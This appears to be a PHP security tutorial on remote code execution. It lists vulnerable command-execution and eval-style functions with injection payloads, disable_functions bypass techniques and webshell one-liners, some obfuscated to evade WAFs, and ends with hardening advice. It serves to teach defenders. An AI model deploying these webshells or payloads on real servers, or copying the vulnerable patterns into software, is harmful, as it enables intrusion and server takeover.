PHP Security

Remote Code Execution via PHP Functions

Youssef
17 May 2026

Remote Code Execution via PHP Functions

Command Execution Functions

PHP provides multiple functions that directly execute OS commands. Any user-controlled input reaching these functions without proper sanitization results in OS command injection.

// All these execute OS commands and are vulnerable if input is unsanitized:
system("ping " . $_GET['host']);           // prints output
exec("nslookup " . $_POST['domain']);      // returns last line
passthru("traceroute " . $_GET['ip']);     // raw binary output
shell_exec("curl " . $_GET['url']);        // returns all output as string
`cat /etc/passwd`;                          // backtick operator

// Exploitation:
?host=127.0.0.1; id          // command chaining with ;
?host=127.0.0.1 | id         // piping
?host=127.0.0.1 && id        // AND
?host=127.0.0.1 `id`         // subshell via backtick
?host=$(id)                   // subshell via $()
?host=127.0.0.1%0aid          // newline injection

Code Evaluation — eval()

eval() executes a string as PHP code. It is the most direct path to RCE when user input is passed to it.

// VULNERABLE
eval($_POST['code']);
eval("return " . $_GET['calc'] . ";");

// Payload: code=system('id');
// Payload: code=phpinfo();
// Payload: code=file_put_contents('/var/www/html/shell.php','<?php system($_GET[c]);?>');

assert() as a Code Executor

In PHP 5 and early PHP 7, assert() evaluates its argument as PHP code if it's a string. This is a common bypass for WAFs filtering eval().

// VULNERABLE (PHP < 8)
assert($_POST['test']);
assert("strlen('" . $_GET['input'] . "') > 0");

// Bypass via string:
?test=system('id')
?input=') system('id'); //

preg_replace() with /e Modifier (PHP < 7.0)

The /e modifier in preg_replace() caused the replacement to be evaluated as PHP code. This was removed in PHP 7.0 but still appears in legacy code.

// VULNERABLE — PHP 5 only
preg_replace('/' . $_GET['pattern'] . '/e', $_GET['replace'], $subject);

// Payload: pattern=.* & replace=system('id')
// The replacement is eval'd → RCE

Variable Functions & call_user_func()

// Variable functions — if function name comes from user
$func = $_GET['action'];
$func($_GET['arg']);            // e.g. ?action=system&arg=id

// call_user_func — same risk
call_user_func($_GET['func'], $_GET['arg']);
call_user_func_array($_POST['func'], $_POST['args']);

// create_function() — deprecated, acts like eval
$f = create_function('', $_POST['code']);
$f();

disable_functions Bypass

Many servers set disable_functions in php.ini to block dangerous functions. Common bypass techniques:

// Check what's disabled:
print_r(explode(',', ini_get('disable_functions')));

// Bypass techniques:

// 1. LD_PRELOAD trick (via mail() if not disabled)
putenv("LD_PRELOAD=/tmp/exploit.so");
mail("a@b.com", "", "", "");

// 2. imap_open() — execute commands via shell metacharacters
imap_open("{127.0.0.1:143/imap}INBOX", "x -oProxyCommand=id", "");

// 3. pcntl_exec() — if enabled
pcntl_exec("/bin/bash", ["-c", "id"]);

// 4. FFI (PHP 8+ foreign function interface)
$ffi = FFI::cdef("int system(const char *command);", "libc.so.6");
$ffi->system("id > /tmp/out");

// Automate with FuckFastcgi / Chankro tools

PHP Webshells — One-liners to Know

<?php system($_GET['c']); ?>
<?php echo shell_exec($_REQUEST['cmd']); ?>
<?php @eval($_POST['x']); ?>
<?php passthru(base64_decode($_GET['c'])); ?>

// Obfuscated (bypass simple WAFs)
<?php $f='sys'.'tem'; $f($_GET['c']); ?>
<?php call_user_func(base64_decode('c3lzdGVt'), $_GET['c']); ?>

Prevention

// php.ini hardening
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,eval,assert
open_basedir = /var/www/html

// Never pass user input to dangerous functions
// If you need to run commands, use escapeshellarg():
$host = escapeshellarg($_GET['host']);
system("ping -c 1 $host");  // much safer but ideally avoid entirely

// Prefer dedicated libraries over shell commands
// e.g. use GD for image processing, not exec("convert ...")

Key Takeaway: The only truly safe approach is to never pass user input to code/command execution functions. If system interaction is required, use escapeshellarg() and escapeshellcmd() as a minimum, and restrict via disable_functions and open_basedir.